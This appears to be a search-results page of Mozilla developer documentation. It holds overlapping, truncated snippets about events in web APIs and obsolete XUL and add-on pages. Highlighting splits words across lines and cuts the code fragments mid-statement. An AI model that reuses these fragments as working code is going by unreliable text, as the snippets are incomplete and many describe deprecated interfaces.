event. removelistener() removes the specified listener callback from the callbacks to be invoked when the mediaquerylist changes media query status, which happens any time the document switches between matching and not matching the media queries listed in the mediaquerylist. this method has been kept for backward compatibility; if possible, you should generally use remove
eventlistener() to remove change notification callbacks (which should have previously been added using add
eventlistener()).
events the following
events are delivered to mediaquerylist objects: change sent to the mediaquerylist when the result of running the media query against the document changes. ...
...And 2 more matches
MediaRecorder.start() - Web APIs
the mediarecorder method start(), which is part of the mediastream recording api, begins recording media into one or more blob objects. you can record the entire duration of the media into a single blob (or until you call requestdata()), or you can specify the number of milliseconds to record at a time. then, each time that amount of media has been recorded, an
event will be delivered to let you act upon the recorded media, while a new blob is created to record the next slice of the media assuming the mediarecorder's state is inactive, start() sets the state to recording, then begins capturing media from the input stream. a blob is created and the data is collected in it until the time slice period elapses or the source media ends. each time a blob is filled up to that point (the timeslice d...
...he media assuming the mediarecorder's state is inactive, start() sets the state to recording, then begins capturing media from the input stream. a blob is created and the data is collected in it until the time slice period elapses or the source media ends. each time a blob is filled up to that point (the timeslice duration or the end-of-media, if no slice duration was provided), a dataavailable
event is sent to the mediarecorder with the recorded data. if the source is still playing, a new blob is created and recording continues into that, and so forth. when the source stream ends, state is set to inactive and data gathering stops. a final dataavailable
event is sent to the mediarecorder, followed by a stop
event. note: if the browser is unable to start recording or continue recording, it ...
...ecorder with the recorded data. if the source is still playing, a new blob is created and recording continues into that, and so forth. when the source stream ends, state is set to inactive and data gathering stops. a final dataavailable
event is sent to the mediarecorder, followed by a stop
event. note: if the browser is unable to start recording or continue recording, it will raise a domerror
event, followed by a mediarecorder.dataavailable
event containing the blob it has gathered, followed by the mediarecorder.stop
event. syntax mediarecorder.start(timeslice) parameters timeslice optional the number of milliseconds to record into each blob. if this parameter isn't included, the entire media duration is recorded into a single blob unless the requestdata() method is called to obtain...
...And 2 more matches
MediaSource - Web APIs
attached to a htmlmediaelement to be played in the user agent. ...
... position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediasource" target="_top"><rect x="151" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" f...
... properties mediasource.sourcebuffers read only returns a sourcebufferlist object containing the list of sourcebuffer objects associated with this mediasource. mediasource.activesourcebuffers read only returns a sourcebufferlist object containing a subset of the ...
...And 2 more matches
Using the MediaStream Recording API - Web APIs
s is your entry point into using the mediarecorder api — the stream is now ready to be captured into a blob, in the default encoding format of your browser. const mediarecorder = new mediarecorder(stream); there are a series of methods available in the mediarecorder interface that allow you to control recording of the media stream; in web dictaphone we just make use of two, and listen to some
events. first of all, mediarecorder.start() is used to start recording the stream once the record button is pressed: record.onclick = function() { mediarecorder.start(); console.log(mediarecorder.state); console.log("recorder started"); record.style.background = "red"; record.style.color = "black"; } when the mediarecorder is recording, the mediarecorder.state property will return a value o...
...d button is pressed: record.onclick = function() { mediarecorder.start(); console.log(mediarecorder.state); console.log("recorder started"); record.style.background = "red"; record.style.color = "black"; } when the mediarecorder is recording, the mediarecorder.state property will return a value of "recording". as recording progresses, we need to collect the audio data. ...
...e.color = "black"; } when the mediarecorder is recording, the mediarecorder.state property will return a value of "recording". as recording progresses, we need to collect the audio data. we register an
event handler to do this using mediarecorder.ondataavailable: let chunks = []; mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } note: the browser will fire dataavailable
events as needed, but if you want to intervene you can also include a timeslice when invoking the start() method — for example start(10000) — to control this interval, or call mediarecorder.requestdata() to trigger an
event when you need it. lastly, we use the mediarecorder.stop() method to stop the recording when the stop button is pressed, and finalize the blob ready for use somewhere else in o...
...And 2 more matches
MessagePort - Web APIs
the messageport interface of the channel messaging api represents one of the two ports of a messagechannel, allowing messages to be sent from one port and listening out for them arriving at the other. note: this feature is available in web workers. methods inherits methods from its parent,
eventtarget postmessage() sends a message from the port, and optionally, transfers ownership of objects to other browsing contexts. ...
...ng messages to be sent from one port and listening out for them arriving at the other. note: this feature is available in web workers. methods inherits methods from its parent,
eventtarget postmessage() sends a message from the port, and optionally, transfers ownership of objects to other browsing contexts. start() starts the sending of messages queued on the port (only needed when using
eventtarget.add
eventlistener; it is implied when using messageport.onmessage.) close() disconnects the port, so it is no longer active. ...
...hods inherits methods from its parent,
eventtarget postmessage() sends a message from the port, and optionally, transfers ownership of objects to other browsing contexts. start() starts the sending of messages queued on the port (only needed when using
eventtarget.add
eventlistener; it is implied when using messageport.onmessage.) close() disconnects the port, so it is no longer active.
event handlers inherits
event handlers from its parent,
eventtarget onmessage an
eventlistener called when message
event of type message is fired on the port—that is, when the port receives a message. onmessageerror an
eventlistener called when a message
event of type messageerror is fired—that is, when it receives a message that cannot be deserialized. ...
...And 2 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
face: const xmlhttprequest = components.constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsixmlhttprequest"); here's how to load a file using it: function loadfile(url,type,returnresult) { var request = new xmlhttprequest(); request.open("get", url, true); // async=true request.responsetype = type; request.onerror = function(
event) { logerrormessage("error attempting to load: " + url); returnresult(null); }; request.onload = function(
event) { if (request.response) returnresult(request.response); else request.onerror(
event); }; request.send(); } loadfile("chrome://myaddon/content/filename.ext",datatype,function(data) { /* do stuff with data */ }); ...
...(dom elements are also nodes). you'll need to write two functions. one to take a xul window object and then create and add your elements, and then another to find your elements and remove them from the window object. the former will need to be run on add-on startup and the later on add-on shutdown. until you get your bootstrap.js running you should use a basic overlay onto the xul window with an
event listener for "load" to catch overlay load and then run your manual ui construction function. step 6a. details on adding elements dynamically to chrome xul window there is a way that makes constructing of ui a lot similar to the way it was made with xul overlay. it involves using firebug.sdk. the next is example of the code: var overlay = toolbarbutton(toolbarbuttonattrs, panel({'id': 'th...
...ents()) todo(windows.getnext().queryinterface(components.interfaces.nsidomwindow)); } var windowlistener = { onopenwindow: function(xulwindow) { var window = xulwindow.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); function onwindowload() { window.remove
eventlistener("load",onwindowload); if (window.document.documentelement.getattribute("windowtype") == "navigator:browser") loadintowindow(window); } window.add
eventlistener("load",onwindowload); }, onclosewindow: function(xulwindow) { }, onwindowtitlechange: function(xulwindow, newtitle) { } }; as mentioned above, components.utils.unload() will ...
...t work properly if the jsm file it is unloading is in a jar. also make sure to only unload your own jsm files to avoid accidentally breaking things horribly. for tearing down and cleaning up on a per-window basis, there is another route you can take. instead of directly calling your tear down function, make your unloadfromwindow() something like this: function unloadfromwindow(window) { var
event = window.document.create
event("
event");
event.init
event("myaddonname-unload",false,false); window.dispatch
event(
event); } in each window you can then register on startup to listen for your custom "myaddonname-unload"
event and just tear down and clean up when that
event or a regular "unload"
event comes in. step 10: bypass cache when loading properties files the above will get you a w...
Appendix A: Add-on Performance - Archive of obsolete content
led; some profiles can take minutes to load, which is a serious inconvenience for users that gives them a negative view of firefox. add-on developers need to make sure that they minimize their add-ons' performance impact, and here are a few simple guidelines that should be followed to achieve that. startup this is the area where add-ons have the most noticeable impact. most add-ons use the load
event handler in the main overlay to initialize their objects and sometimes read files or even fetch remote data. the problem with the onload
event is that it runs before the main window becomes visible, so all handlers need to complete before the user can see the window. an add-on can normally add a few hundred milliseconds to startup time because of the load handler, and it's not hard to figure out w...
...tion to delay running this code . the firefox window will be able to load sooner and your startup code will run almost instantaneously afterward, in parallel with the loading of the homepage or the saved tab session. the browser will now load faster, and your code will still load at startup for all practical purposes. the code is simple enough: // this is the function that is called in the load
event handler. init : function() { let that = this; // run this later and let the window load. window.settimeout(function() { that.postinit(); }, 500); }, postinit: function() { // actual init code goes here. }, how can you tell it works? the measuring startup wiki page includes a relatively simple test you can use to compare a clean firefox profile vs that profile with your add-on installed...
...orks? the measuring startup wiki page includes a relatively simple test you can use to compare a clean firefox profile vs that profile with your add-on installed. page loads this is another critical route that many add-ons tap into. the intercepting page loads section details several techniques to do this, and you should read all of them carefully to figure out which one you need. some of these
events are fired multiple times during a single page load, and having inefficient code in the
event handlers can cause a noticeable delay that users may have hard time figuring out. look at the source samples in the article and notice how they mostly consist of nested if statements. this is what you should do first to make sure that you filter out all cases that don't interest you so that your add-on ...
... is as efficient as possible. finally, make sure all of your page load code is as efficient as possible. this can be tricky for some add-ons, like ad or script blockers that need to check a whitelist or blacklist. nevertheless, loading pages is pretty important in firefox, and users expect it to be fast. try your best to keep it that way. other recommendations always clean up after yourself.
event listeners, observers and other handlers normally have both an add and a remove function. don't forget to remove what you don't need anymore! even if you need something during the whole existence of the window, you should clean everything up in the unload
event handler. even the unload
event should be handled efficiently. even if it is not as important as other areas, firefox shutdown can also be...
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
add-ons normally run code at startup, and as it is covered in the main tutorial, all you need is a load
event handler and a little code. it is also common for an add-on to require to run a script only when it is installed for the first time, or every time it is updated. it can be used to write or copy necessary files to the profile folder, like the initial db the add-on will use for storage. a few others require cleanup code to be run after the add-on is uninstalled. this appendix covers these cases with simple code that should work for most add-ons. install scripts just like with a regular initialization function, we want a load
event handler: // rest of overlay code goes here. ...
...necessary files to the profile folder, like the initial db the add-on will use for storage. a few others require cleanup code to be run after the add-on is uninstalled. this appendix covers these cases with simple code that should work for most add-ons. install scripts just like with a regular initialization function, we want a load
event handler: // rest of overlay code goes here. window.add
eventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); then all we need is some persistent flag that ensures that the first run code is only run once. the best approach in this case is to use a preference, as explained in the handling preferences section. so, if we were to use fuel, we can do the following in the init function: init : function() { let firstrunpref...
... different times. in this case the user is told that firefox needs to restart in order for the extension to be completely removed. then the user has the option to restart right away, wait to restart whenever is convenient, or even cancel the uninstall operation. the add-on will not be completely removed until the browser is restarted. ...
...set a boolean flag that indicates if your add-on is set to be uninstalled or not, and reset it when necessary. the second stage is knowing when the application is actually going to be closed. then you'll have reasonable certainty that the add-on will be removed and you can perform any cleanup operations safely. ...
User Notifications and Alerts - Archive of obsolete content
using modal dialogs and alerts is usually a bad idea. they interrupt the user's workflow, demanding immediate action before anything else can be done. users will find them annoying and probably will learn to dismiss them as quickly as possible without even reading what they have to say. or they will just get rid of your add-on. this section lists a few alternatives that give you the possibility of notifying the user and requesting action without being too annoying. the notificationbox element you have probably seen these before. ...
...ionbox so that we get the notification box that corresponds to the tab currently on display. the appendnotification method takes the message, id, image (32x32), level and buttons. the level argument determines the "strength" of the message, indicated by its background color when it is displayed. you should look for the level that better fits your message, and use the lowest applicable level, to pr
event the user from getting used to dismissing high-level notifications. the buttons are represented by simple js data objects. this is all explained in detail in the notificationbox page. notification boxes are designed to be easily dismissed. all notifications have an additional close button, so you should take into account that it's possible that none of your custom buttons will be clicked. also, c...
... notifications have an additional close button, so you should take into account that it's possible that none of your custom buttons will be clicked. also, clicking on any of your custom buttons will cause the notification to be immediately closed, so you should only use notification boxes for single-step processes. the alerts service this is a very good option when you want to alert users about
events without requiring input from them. alerts are displayed in an os-specific way, so their look is native. you can associate an action to the user clicking on the alert. another advantage is that you use an xpcom service to do this (nsialertsservice), so you can easily trigger alerts from chrome and non-chrome code. on the other hand, alerts are displayed only temporarily using the alerts service ...
...css positioning to locate it where you want. this usually means that the box will be hovering on top of the page's content, and there are a few things you must know about this. first of all, switching tabs will probably make your alert disappear. this is probably due to the fact that the browser tab box uses a deck internally, and that affects z-indexing. you'll have to code around this using tab
events in order to know when to re-display your alert. another problem you need to take into account is that transparency of floating xul on the mac os version of firefox 2 doesn't work. you'll end up with a box with a white background you can't get rid of . on firefox 3 and above, this seems to have been corrected, using the panel element. the bottom right corner of the browser is the recommended loc...
Setting up an extension development environment - Archive of obsolete content
om content to browser as context. devtools.debugger.remote-enabled = true. this adds a "browser debugger" entry to the "web developer" submenu of the "tools" menu. the browser debugger can be used to debug the javascript code of extensions. the devtools.chrome.enabled preference must also be set to true for the browser debugger to be enabled. devtools.debugger.prompt-connection = false. this pr
events the browser debugger from prompting for connection permission every time. extensions.logging.enabled = true. this will send more detailed information about installation and update problems to the error console. (note that the extension manager automatically restarts the application at startup sometimes, which may mean you won't have time to see the messages logged before the automatic restart h...
...from prompting for connection permission every time. extensions.logging.enabled = true. this will send more detailed information about installation and update problems to the error console. (note that the extension manager automatically restarts the application at startup sometimes, which may mean you won't have time to see the messages logged before the automatic restart happens. to see them, pr
event the automatic restart by setting the environment no_em_restart to 1 before starting the application.) nglayout.debug.disable_xul_fastload = true. for gecko 2.0+ (firefox 4.0+). see this bug for more information. although the bug has been closed, it is believed that this pref is still relevant. you might also want to set dom.report_all_js_exceptions = true. see exception logging in javascript fo...
...install it first before creating the pointer file. also note that the use of proxy files requires that the extension's chrome.manifest defines its chrome urls using traditional directories, rather than a jared structure. see below. place the file in the extensions folder of your profile and restart the application. ...
...this lets them weed out add-ons that were installed without their knowledge, or that are no longer needed. ...
MozOrientation - Archive of obsolete content
note: this below describes how these values worked for the now obsolete mozorientation. the x axis represents the amount of right-to-left tilt. this value is 0 if the device is level along the x axis, and approaches 1 as the device is tilted toward the left, and -1 as the device is tilted toward the right. ...
...tless or falling as a result of a drop), the value remains -1. in weightlessness, all values would be zero when the device is not moving, regardless of orientation, and would only change when being accelerated. in firefox versions 3.6, 4, and 5 gecko utilized mozorientation which was also built to support orientation data but with different apis from the specified deviceorientation
event. ...
...ed deviceorientation
event. to normalize between the two you can do something like this: function orientationhandler(evt){ // for ff3.6+ if (!evt.gamma && !evt.beta) { evt.gamma = -(evt.x * (180 / math.pi)); evt.beta = -(evt.y * (180 / math.pi)); } // use evt.gamma, evt.beta, and evt.alpha // according to dev.w3.org/geo/api/spec-source-orientation } window.add
eventlistener('deviceorientation', orientationhandler, false); window.add
eventlistener('mozorientation', orientationhandler, false); example window.add
eventlistener("mozorientation", dofunc, true); the example below simply displays the raw accelerometer data in the browser window as the
events arrive. ...
...ource-orientation } window.add
eventlistener('deviceorientation', orientationhandler, false); window.add
eventlistener('mozorientation', orientationhandler, false); example window.add
eventlistener("mozorientation", dofunc, true); the example below simply displays the raw accelerometer data in the browser window as the
events arrive. notes this
event is only dispatched if an accelerometer is available on the current device. specification not part of any specification. ...
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
erver.smtp1.port", 25); lockpref("mail.smtpserver.smtp1.try_ssl", 0); lockpref("mail.smtpserver.smtp1.username", ""); lockpref("mail.smtpservers", "smtp1"); lockpref("mail.startup.enabledmailcheckonce", true); lockpref("mailnews.quotingprefs.version", 1); lockpref("mailnews.ui.threadpane.version", 5); /* 3) define here (because if set after "4)" below it doesn't work!) processldapvalues which is
eventually called by getldapattributes() just below, check getldapattributes() code from $mozilla_home/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processldapvalues */ function processldapvalues(values) { if(values) { // set the global var with the values returned from the ldap query ldap_values = values; var uid = getldapvalue(values, "uid"); var cn = g...
... 1) env variables if(getenv("user") != "") { // *nix settings var env_user = getenv("user"); var env_home = getenv("home"); } else { // windows settings var env_user = getenv("username"); var env_home = getenv("homepath"); } var env_mozdebug= getenv("mozilla_debug"); // 2) define here (because if set after "3)" below it doesn't work !) processldapvalues which is
eventually called by getldapattributes() just below, // check getldapattributes() code from $mozilla_home/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processldapvalues /* commented all this section about ldap calls, not supported in ff5 packages :-( function processldapvalues (values) { if(values) { // set the global var with the values returned from the l...
...rsignons", false); // 1) env variables if(getenv("user") != "") { // *nix settings var env_user = getenv("user"); var env_home = getenv("home"); } else { // windows settings var env_user = getenv("username"); var env_home = getenv("homepath"); } var env_mozdebug = getenv("mozilla_debug"); /* 2) define here (because if set after "3)" below it doesn't work!) processldapvalues which is
eventually called by getldapattributes() just below, check getldapattributes() code from $mozilla_home/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processldapvalues */ function processldapvalues(values) { if(values) { // set the global var with the values returned from the ldap query ldap_values = values; var uid = getldapvalue(values, "uid"); var cn = g...
...s.length; while(times--) { with(math) { i = floor(random()*l); j = floor(random()*l); } t = this[i]; this[i] = this[j]; this[j] = t; } return this; } // mix up the ldap servers so we don't hit the same one each time ldap_servers.shuffle(10); /* 3) define here (because if set after "4)" below it doesn't work!) processldapvalues which is
eventually called by getldapattributes() just below, check getldapattributes() code from $mozilla_home/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processldapvalues */ function processldapvalues(values) { if(values) { // set the global var with the values returned from the ldap query ldap_values = values; var uid = getldapvalue(values, "uid"); var cn ...
Visualizing an audio spectrum - Archive of obsolete content
note: you can use the audionode called analysernode to perform real-time fft analysis on an audio stream, rather than the code shown below. ...
... note: you can use the audionode called analysernode to perform real-time fft analysis on an audio stream, rather than the code shown below. ...
... ctx = canvas.getcontext('2d'), channels, rate, framebufferlength, fft; function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; fft = new fft(framebufferlength / channels, rate); } function audioavailable(
event) { var fb =
event.framebuffer, t =
event.time, /* unused, but it's there */ signal = new float32array(fb.length / channels), magnitude; for (var i = 0, fbl = framebufferlength / 2; i < fbl; i++ ) { // assuming interlaced stereo channels, // need to split and merge into a stero-mix mono signal signal[i] = (fb[2*i] ...
...t(0,0, canvas.width, canvas.height); for (var i = 0; i < fft.spectrum.length; i++ ) { // multiply spectrum by a zoom value magnitude = fft.spectrum[i] * 4000; // draw rectangle bars for each frequency bin ctx.fillrect(i * 4, canvas.height, 3, -magnitude); } } var audio = document.getelementbyid('audio-element'); audio.add
eventlistener('mozaudioavailable', audioavailable, false); audio.add
eventlistener('loadedmetadata', loadedmetadata, false); // fft from dsp.js, see below var fft = function(buffersize, samplerate) { this.buffersize = buffersize; this.samplerate = samplerate; this.spectrum = new float32array(buffersize/2); this.real = new float32array(bu...
New Security Model for Web Services - Archive of obsolete content
a sandbox. these scripts may legitimately require access to external resources, but permitting them to access internal resources permits the compromise of these resources that would normally not be available to applications outside of the firewall. the sandbox must distinguish and protect internal resources. client-controlled solutions several client-controlled solutions have been designed to pr
event sandboxed applications loaded behind a firewall from compromising other resources protected behind the firewall. same source restriction by restricting sandboxed scripts to access only resources in the domain from which they were loaded, any script loaded from one domain into another is pr
evented from accessing resources in the domain into which it has been loaded. this policy has generally bee...
... into which it has been loaded. this policy has generally been successful in sandboxing javascript and java applets across the web. if the sandbox is unable to distinguish the common uri substring of the domain to be trusted from similar uris of untrusted domains, then it could allow a script loaded from an indistinguishable domain to exploit firewall-protected resources. also, this technique pr
events the script from accessing many legitimate external resources not provided in the same domain as the script. this pr
events a script from accessing web services and data published from any domain besides its own. white-listing by creating a white list of trusted uris from which scripts are trusted to not compromise internal resources, it is possible to release domains from the stricter same-sour...
...ion soap messages have a distinct processing model allowing a header to be added that the recipient is required to understand and accept, which identifies the untrusted source of a script making a request. soap services which have not been cleared for access by untrusted scripts will reject the requests. this is offered in the mozilla implementation of soap today. unfortunately, this does not pr
event soap messages from being sent to non-soap addresses, which is a big enough problem that the verification cannot stand alone to guarantee that untrusted service requests are always properly rejected by services that should be firewall-protected. it may also be inconvenient to modify a soap service to ignore the specific verification header. using a declarations file a more robust solution is to...
...b-scripts-access.xml) and extracting information from it (declaration file); requested type and subject princple's prefix are compared to the allowed type and prefix in order to determine access. an entry is created if and only if the declaration file is considered valid (validation based on the syntax described above); an invalid document will result in access denial. denies script access in the
event of an xml-wellformedness error, or validation error, or if the declaration file does not grant access. reports errors (validation, wellformedness, file not found, etc.) to the console via nsiconsoleservice. note: script access is checked via declaration file only if the script security manager denies access. summary advantages the proposed declaration file places the server operator, not th...
PyDOM - Archive of obsolete content
e you can use javascript. globals and namespaces this is taken from a mail to the pyxpcom list - it should be expanded, but a copy-paste will do for now normal module semantics don't exist here. the globals are 'bound' to the global object (i.e., the window), instead of to a module's __dict__ as you expect in the python world. note that we don't actually 'import' anything here - the scripts and
event handlers do not exist in a python module. the intent is to provide similar semantics to js. for example, when a top-level window has something like: <window ... script="foo = 1" ... an
event handler like: <button onclick="print foo"/> should be able to reference 'foo' via globals as shown. note that you can stick arbitrary values on any dom object - this is what js calls 'expandos'. for exam...
...o reference 'foo' via globals as shown. note that you can stick arbitrary values on any dom object - this is what js calls 'expandos'. ...
...e that you can stick arbitrary values on any dom object - this is what js calls 'expandos'. for example, let's say you have xul similar to pyxultest: top-level script code says something like: button = document.getelementbyid("some-button") button.foo = 0 and the button itself might look like: <button id="some-button" label="click here" onclick="
event.target.foo += 1; print 'foo is now',
event.target.foo"/> note that (a) we have stuck an arbitrary attribute on a dom element and (b) in all cases (e.g.,
event handler and top-level script), the dom node needs to be explicitly specified - the globals are the window itself. the
event handler could also have used getelementbyid - the point is that both the
event handler and top-level script share the same namespace. using python ideally, y...
...ldren. this means that if you set the script-type to python for the window, python is the default script type for all child elements in the window. xul use a script-type attribute on your elements. for example, <window script-type="application/x-python" .../> html <meta http-equiv="content-script-type" content="application/x-python" /> should work (but possibly doesn't - see bug 100924). but add
eventlistener within a <script type="application/x-python"> block does. almost python code can not be secured - so it will only run from trusted sources. this means you can only have python code in chrome. content loaded from anywhere other than a chrome:// url can not host python. it should be obvious why you don't want to run http://evil.com/something_evil.py in your browser! inside chrome, you can u...
textbox.type - Archive of obsolete content
. in addition, arrow buttons appear next to the textbox to let the user step through values. there are several attributes that allow the number textbox to be configured, including decimalplaces, min, max, increment, wraparound, hidespinbuttons, and textbox.value. password a textbox that hides what is typed, used for entering passwords. search a textbox intended for searching. ...
...p through values. there are several attributes that allow the number textbox to be configured, including decimalplaces, min, max, increment, wraparound, hidespinbuttons, and textbox.value. password a textbox that hides what is typed, used for entering passwords. search a textbox intended for searching. the command
event will fire as the user modifies the value. a listener for the command
event should update search results. if the searchbutton attribute is set to true, the command
event is only fired if the user presses the search button or presses the enter key. you may specify grey text to appear when the search box is empty using the emptytext attribute, and a timeout may be set for the command
event using the timeout attribute (defaults to 500). timed this textbox will fire a ...
...the timed type is deprecated in gecko 1.9.1 and the search textbox may be used instead. ...
...the timed type is deprecated in gecko 1.9.1 and the search textbox may be used instead. ...
CheckboxStateChange - Archive of obsolete content
the checkboxstatechange
event is executed when the state of a <checkbox> element has changed. this
event is used mainly for an accessibility purpose. general info specification xul interface
event bubbles yes cancelable yes target element default action none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. ...
...pose. general info specification xul interface
event bubbles yes cancelable yes target element default action none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. ...
...t element default action none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. ...
...tion none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. ...
RadioStateChange - Archive of obsolete content
the radiostatechange
event is executed when the state of a <radio> element has changed. this
event is used mainly for an accessibility purpose. general info specification xul interface
event bubbles yes cancelable yes target element default action none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. ...
...pose. general info specification xul interface
event bubbles yes cancelable yes target element default action none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. ...
...t element default action none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. ...
...tion none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. ...
ValueChange - Archive of obsolete content
the valuechange
event is executed when the value of an element, <progress> for example, has changed. this
event is used mainly for an accessibility purpose. general info specification xul interface
event bubbles yes cancelable yes target element default action none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. ...
...pose. general info specification xul interface
event bubbles yes cancelable yes target element default action none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. ...
...t element default action none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. ...
...tion none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. ...
findbar - Archive of obsolete content
" toolbar button in the findbar. findpreviousaccesskey type: string the access key for the "find previous" toolbar button in the findbar. highlightaccesskey type: string the access key for the "highlight" toolbar button in the findbar. matchcaseaccesskey type: string the access key for the "match case" checkbox in the findbar. ...
..., , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width browser type: browser element lets you set and get the browser in which the findbar is located. findmode type: integer read only. the find mode in use. ...
... browser type: browser element lets you set and get the browser in which the findbar is located. findmode type: integer read only. the find mode in use. ...
... open( mode ) return type: no return value opens the findbar using the specified mode, which should be one of find_normal, find_typeahead, or...
MenuItems - Archive of obsolete content
"show toolbar" accesskey="t" type="checkbox" checked="true"/> <menuitem label="show status bar" accesskey="s" type="checkbox"/> </menupopup> </menu> both menuitems are of the checkbox type. the first menuitem is checked by default, as indicated by the checked attribute set to the value true. the second menuitem is not checked by default. ...
...set to the value true. the second menuitem is not checked by default. when the user activates the menuitem, the command
event gets fired. from within a command listener, you can execute code which will change the state of the toolbar or status bar or whatever it is that need changing. you do not need to update the checked attribute as the menuitem will update this automatically before the command
event is fired. note that the checked state is updated before the command
event fires, so if you use the menuitem's checked attribute within the command listener, it will already be in the new state. <script> function changetoolbarstate(
event) { if (
event.target.getattribute("checked") == "true") showtoolbar(); else hidetoolbar(); } </script> ... <menuitem label="show toolbar" accesskey="...
...tever action is carried out could fail. one possibility is to simply reverse the checkbox state again. as this can be more complicated, it is also possible to use the autocheck attribute to disable this behavior. when the autocheck attribute is set to false, the checkbox state is not updated automatically, and you must write code to adjust the state yourself. <script> function changetoolbarstate(
event) { if (
event.target.getattribute("checked") == "true") hidetoolbar();
event.target.removeattribute("checked"); } else { if (!showtoolbar()) return;
event.target.setattribute("checked", "true"); } } </script> ... <menuitem label="show toolbar" accesskey="t" type="checkbox" autocheck="false" oncommand="changetoolbarstate();"/> this version of the changetool...
...able the automatic adjustment of the checked state. this needs to be set on each radio menuitem. disabling a menuitem to have an item initially disabled, set the disabled attribute to true as in the following example: <menuitem label="undo" accesskey="u" disabled="true"/> when disabled, the item will appear greyed out and the action associated with the item cannot be carried out. the command
event will not fire when an item is disabled. to disable a menuitem that doesn't apply, set the disabled property to true. to renable the item again, set the disabled property to false again. you may wish to change the disabled state in a popupshowing
event handler. for more information about the popupshowing
event, see the popupshowing
event. if a menuitem is associated with a command, you can disabl...
Panels - Archive of obsolete content
> <panel id="search-panel" position="after_start"> <textbox id="search"/> <button label="search" oncommand="dosearch();"/> </panel> </toolbarbutton> in this example, the dosearch() function is called when the "search" button is pressed. this function retrieves the popup and calls the hidepopup method. naturally, this function would also include code to start the search operation. pr
eventing panels from automatically closing a panel will be closed when a user clicks outside of the panel or when the escape key is pressed. this is the normal way in which a user would cancel the operation. you may wish to also place a cancel or close button within the panel, especially if the panel is larger with a lot of controls within it. sometimes, however, you may wish to keep the panel open, ...
...o close the panel itself. in this example a cancel button has been added. for more information about these types of panels, see floating panels. focus in panels elements within panels may be focused with the mouse, and the currently focused element may be adjusted by pressing the tab key. when a popup is opened, if an element in the main window is focused, that element is unfocused, and a blur
event is fired at it. although no element within the popup panel is focused by default, the user may focus the first element within the panel by pressing the tab key. if you want to set the focus to an element by default when a panel is opened, adjust the focus within a popupshown
event handler. for instance, to have the textbox initially focused in the example above: <panel id="search-panel" onpopups...
...usting of focus when a panel is opened, set the noautofocus attribute to true: <panel noautofocus="true"> this will cause the focus to remain on the element within the main window that has focus when the panel is opened. note that this will also keep the focus within the panel when it is closed. when a panel is closed, the focus is removed from the element within the panel which has the focus
event, if any, and whatever element was focused before the panel was opened is refocused. you can pr
event the focus from being removed by setting the noautofocus attribute to true as above. in addition, the norestorefocus attribute should be set to true in order to pr
event the previously focused element from being refocused. normally, only the latter would be set if needed. this process of removing th...
...is refocused. you can pr
event the focus from being removed by setting the noautofocus attribute to true as above. in addition, the norestorefocus attribute should be set to true in order to pr
event the previously focused element from being refocused. normally, only the latter would be set if needed. this process of removing the focus when opening and closing a popup occurs after the popupshowing
event or popuphiding
event is fired, which means that if those
events are cancelled, the focus is not adjusted. letting panels be dragged by grabbing the background requires gecko 7.0(firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) starting in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), you can use the backdrag attribute to create panels that the user can drag by clicking and ...
Sorting and filtering a custom tree view - Archive of obsolete content
="chrome://global/skin/" type="text/css"?> <!doctype window> <window title="sorting a custom tree view example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="init()"> <script type="application/javascript" src="sort.js"/> <hbox align="center" id="search-box"> <label accesskey="f" control="filter">filter</label> <textbox id="filter" oninput="inputfilter(
event)" flex="1"/> <button id="clearfilter" oncommand="clearfilter()" label="clear" accesskey="c" disabled="true"/> </hbox> <tree id="tree" flex="1" persist="sortdirection sortresource" sortdirection="ascending" sortresource="description"> <treecols> <treecol id="name" label="name" flex="1" persist="width ordinal hidden" onclick="sort(this)" class="sortdirectionindicator" sortdirection="ascen...
...eecols> <treechildren id="tree-children"/> </tree> </window> sort.js var table = null; var data = null; var tree; var filtertext = ""; function init() { tree = document.getelementbyid("tree"); loadtable(); } //this function is called every time the tree is sorted, filtered, or reloaded function loadtable() { //remember scroll position. this is useful if this is an editable table //to pr
